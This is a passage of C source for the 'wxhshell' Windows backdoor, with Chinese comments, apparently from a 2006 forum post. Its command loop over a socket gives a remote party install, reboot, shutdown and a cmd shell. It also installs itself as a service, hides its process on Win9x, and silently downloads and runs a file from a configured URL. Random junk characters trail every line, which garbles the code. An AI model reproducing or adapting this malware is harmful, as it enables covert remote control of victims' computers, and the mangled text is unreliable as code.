    switch(cmd[0]) { hY7Q$B<  
  ?C(Z\"IX  
  // 帮助 if9I7@  
  case '?': { GrGgR7eC#P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C0[Rf.*  
    break; !u.{<51b  
  } ,--/oP  
  // 安装 !bFa\6]q  
  case 'i': { :c"J$wT/  
    if(Install()) pv+FPB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L01R.3Z+  
    else $g$~TuA w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UB@>i3  
    break; b#FN3AsR  
    } Sdz!J 1  
  // 卸载 + V4BJ/H  
  case 'r': { 7=N=J<]pl  
    if(Uninstall()) NDglse  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U'";  
    else X^_,`H@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o1MbHBb  
    break; aP8Im1<A  
    } hz Vpv,|G  
  // 显示 wxhshell 所在路径 8Qu7x[tK?  
  case 'p': { IL3,dad'^  
    char svExeFile[MAX_PATH]; GK95=?f~8;  
    strcpy(svExeFile,"\n\r"); uz>s2I}B  
      strcat(svExeFile,ExeFile); (d^pYPr{  
        send(wsh,svExeFile,strlen(svExeFile),0); n.$<D[@  
    break; [+{ ot   
    } "uGJ\  
  // 重启 1uB}Oe 2~  
  case 'b': { *X%`MN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '9auQ(2  
    if(Boot(REBOOT)) 4ms hB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |YZ`CN<  
    else { TQ=\l*R(A  
    closesocket(wsh); >P\T nb"Q\  
    ExitThread(0); Lrq+0dI 65  
    } |+!Jr_ By  
    break; y>~=o9J_u  
    } p*Q"<@n  
  // 关机 rRT9)wDa  
  case 'd': { JB+pd_>5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CFul_qZ/e  
    if(Boot(SHUTDOWN)) <+_OgF1G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &\0LR?Nh  
    else { J4`08,  
    closesocket(wsh); (~}l?k  
    ExitThread(0); 5U1@wfKE3>  
    } bI]1!bi]i  
    break; N_C\L2  
    } 2$\1v*:  
  // 获取shell ucoBeNsHx  
  case 's': { fD,#z&  
    CmdShell(wsh); }[AIE[  
    closesocket(wsh); CXUNdB  
    ExitThread(0); 7t@jj%F  
    break; OE4 2{?)  
  } i.F[.-.  
  // 退出 ReSP)%oW  
  case 'x': { z w5EaY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Yn J=&21  
    CloseIt(wsh); =@3Qsd  
    break; T+sO(;  
    } Onot<}K  
  // 离开 '7Te{^<FQ$  
  case 'q': { 3kKXzIh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _BR>- :Jr  
    closesocket(wsh); m{b(^K9}  
    WSACleanup();  4jG@ #  
    exit(1); kx'6FkZPIr  
    break; G4g },p!  
        } 7RdL/21K  
  } @&,r|-  
  } m1+DeXR_g  
c!kbHZ<Z  
  // 提示信息 Oh8;YE-%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &=02.E@  
} s[xdID^3.  
  } J3q}DDnEo  
T \0e8"iZ  
  return; DK4V/>@8  
} (5Cm+Sy  
jriliEz;f  
// shell模块句柄 `0 .5aa  
int CmdShell(SOCKET sock) &,e@pvc3  
{ /j S  
STARTUPINFO si; /]+t$K\cBq  
ZeroMemory(&si,sizeof(si)); n'M}6XUw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i(U*<1y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z&-3H/   
PROCESS_INFORMATION ProcessInfo; t3bN P K^  
char cmdline[]="cmd"; *7-uQKp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RQe#X6'h  
  return 0; "G4{;!0C  
} lW>bX C  
oq0G@  
// 自身启动模式 )9@Ftzg|  
int StartFromService(void) '9^x"U9c  
{ D$ `yxc  
typedef struct F'`L~!F  
{ }dB01Jl '  
  DWORD ExitStatus; t,=khZ  
  DWORD PebBaseAddress; n{UB^-}5  
  DWORD AffinityMask; nq_sbli  
  DWORD BasePriority; 5?2PUE,a  
  ULONG UniqueProcessId; (<3'LhFII  
  ULONG InheritedFromUniqueProcessId; V1"+4&R^T_  
}   PROCESS_BASIC_INFORMATION; ]1p&*xX:Bj  
DmD*,[rD  
PROCNTQSIP NtQueryInformationProcess; wAy;ZNu  
) 8LCmvQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f+gyJ#R`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A u(Ngq  
,gRsbC  
  HANDLE             hProcess; w3yI;P  
  PROCESS_BASIC_INFORMATION pbi; 5$zC,g*#  
vw+ @'+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JY%c<  
  if(NULL == hInst ) return 0; <$7*yV  
zFv>'1$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qFvtqv2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :Fm+X[n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L!/USh:IP  
6AzH'H F  
  if (!NtQueryInformationProcess) return 0; 5z#>>|1>#  
X"'}1o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i mJ{wF  
  if(!hProcess) return 0; oIbd+6>f  
Y_f6y 9?ZE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9h~>7VeZ)  
cV)C:!W2  
  CloseHandle(hProcess); 6C) G  
| F: ?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3!ulBiMh  
if(hProcess==NULL) return 0; &.Yh_  
~M43#E[oOF  
HMODULE hMod; knF *~O :y  
char procName[255]; L42C<  
unsigned long cbNeeded; 9j9A'Y9(  
]y!|x_5c3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H VG'v>s@  
Dth<hS,2J  
  CloseHandle(hProcess); d<: VoQM6M  
Z.VVY\  
if(strstr(procName,"services")) return 1; // 以服务启动 {P-KU RQ  
IXX^C}\,  
  return 0; // 注册表启动 nQg6 j Zf  
} 'du:Bxl`d4  
J%D'Xlb  
// 主模块 q4(&.Al\@  
int StartWxhshell(LPSTR lpCmdLine) )SUT+x(DU  
{ g24)GjDi  
  SOCKET wsl; 6}{2W<  
BOOL val=TRUE; _vvnxG!x&  
  int port=0; E}\^GNT  
  struct sockaddr_in door; c9i CH~  
WihOGdUS6  
  if(wscfg.ws_autoins) Install(); Lj({ T'f(  
c?b?x 6 2  
port=atoi(lpCmdLine); ,Ea.ts>  
Vx-H W;,  
if(port<=0) port=wscfg.ws_port; luLm:NWUM  
Cl4y9|  
  WSADATA data; QQ1+uY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; op&,&  
3"!2C,3c#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '_@=9 \<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (/Z~0hA[Q  
  door.sin_family = AF_INET; BJ~Q\Si6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $fuFx8`2W  
  door.sin_port = htons(port); ;z)$wH0xc  
0O"GI33Mg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @wZ`;J%  
closesocket(wsl); M _$pqVm  
return 1; +;U}SR<  
} % NX  
DQH _@-q  
  if(listen(wsl,2) == INVALID_SOCKET) { J'^BxN&  
closesocket(wsl); S1E2E3  
return 1; 1H-R-NNJ:  
} 8p>%}LX/  
  Wxhshell(wsl); -:cS}I  
  WSACleanup(); ?GB($D=Y'&  
ZEUd?"gaR  
return 0; ]Fl+^aLS  
vy@;zrs  
} X1#D}  
}+i ZY\t  
// 以NT服务方式启动 w&`gx6?-na  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z]uN9c  
{ Y\sLwLLlG  
DWORD   status = 0; $vlgiJ&f  
  DWORD   specificError = 0xfffffff; hH )jX`Ta  
(3c,;koRR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .Eh~$wm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c@5fiRPv!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )|uPCZdLZ  
  serviceStatus.dwWin32ExitCode     = 0; 0ydAdgD  
  serviceStatus.dwServiceSpecificExitCode = 0; X\X  
  serviceStatus.dwCheckPoint       = 0; &Mo=V4i>  
  serviceStatus.dwWaitHint       = 0; u)R>ozER  
zrRt0}?xl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  L~I<y;x  
  if (hServiceStatusHandle==0) return; $ 7O[|:Yv  
m5{Y  
status = GetLastError(); v?fB:[dG  
  if (status!=NO_ERROR) DtXXfp@;  
{ ] A9Vh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~W%A8`9  
    serviceStatus.dwCheckPoint       = 0; ElqHZ$a?  
    serviceStatus.dwWaitHint       = 0; D#W{:_f  
    serviceStatus.dwWin32ExitCode     = status; j4ypXPY``!  
    serviceStatus.dwServiceSpecificExitCode = specificError; pc:K5 -Os  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h8u(lIRHQ  
    return; hSp[BsF`,  
  } K)l{3\9l|  
Crm](Z?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P,CJy|[L  
  serviceStatus.dwCheckPoint       = 0; `$G7Ia_ $]  
  serviceStatus.dwWaitHint       = 0; o=q N+-N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o@EV>4e y  
} im*QaO%a4  
J);1Tpm  
// 处理NT服务事件,比如:启动、停止 3`SLMPI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \eI )(,A  
{ :==kC672  
switch(fdwControl) r_FW)Fu^  
{ (.<Gde#  
case SERVICE_CONTROL_STOP: e`<=& w  
  serviceStatus.dwWin32ExitCode = 0; $M$oNOT}Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aNv6 "  
  serviceStatus.dwCheckPoint   = 0; &,{cm^*  
  serviceStatus.dwWaitHint     = 0; ZKAIG=l&!  
  { F! c%&Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fr/8q:m &  
  } vh KA8vr  
  return; |1-0x%@[;  
case SERVICE_CONTROL_PAUSE: 7:mM`0g!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PKwHq<vAsB  
  break; qNC.|R  
case SERVICE_CONTROL_CONTINUE: Rj^bZ%t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +@usJkxul  
  break; 8 E.u3eS  
case SERVICE_CONTROL_INTERROGATE: n KDX=73  
  break; |Wi$@sWO  
}; < ynm A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?!Rl p/  
} >6r&VZu*n  
/LPSI^l!m  
// 标准应用程序主函数 @6h=O`X>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'n)M0e  
{ e,`+6qP{  
\8{C$"F  
// 获取操作系统版本 O'$0K0k3  
OsIsNt=GetOsVer(); VSmshld  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Kdik7jL/J  
?Xh=rx_  
  // 从命令行安装 j= ]WAjT  
  if(strpbrk(lpCmdLine,"iI")) Install(); #x':qBv#  
D-E30b]e  
  // 下载执行文件 s-o0N{b?#'  
if(wscfg.ws_downexe) { jP@H$$-=wH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /G G QO$'  
  WinExec(wscfg.ws_filenam,SW_HIDE); _d %H;<_  
} :HMnU37m W  
kX+y2v(2++  
if(!OsIsNt) { `)1_^# k  
// 如果时win9x,隐藏进程并且设置为注册表启动 wEQV"I  
HideProc(); 3~a!h3.f  
StartWxhshell(lpCmdLine); ASR"<]  
} 0&2TeqsLh)  
else Ko>pwhR}  
  if(StartFromService()) ?P0$n 7,  
  // 以服务方式启动 7evE;KL  
  StartServiceCtrlDispatcher(DispatchTable); h1FM)n[E7  
else M=`F $  
  // 普通方式启动 d_1w 9 F A  
  StartWxhshell(lpCmdLine); C;G~_if4PR  
0rsdDME[  
return 0; ;W'y^jp]"  
}
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只看该作者 1 发表于: 2006-10-10
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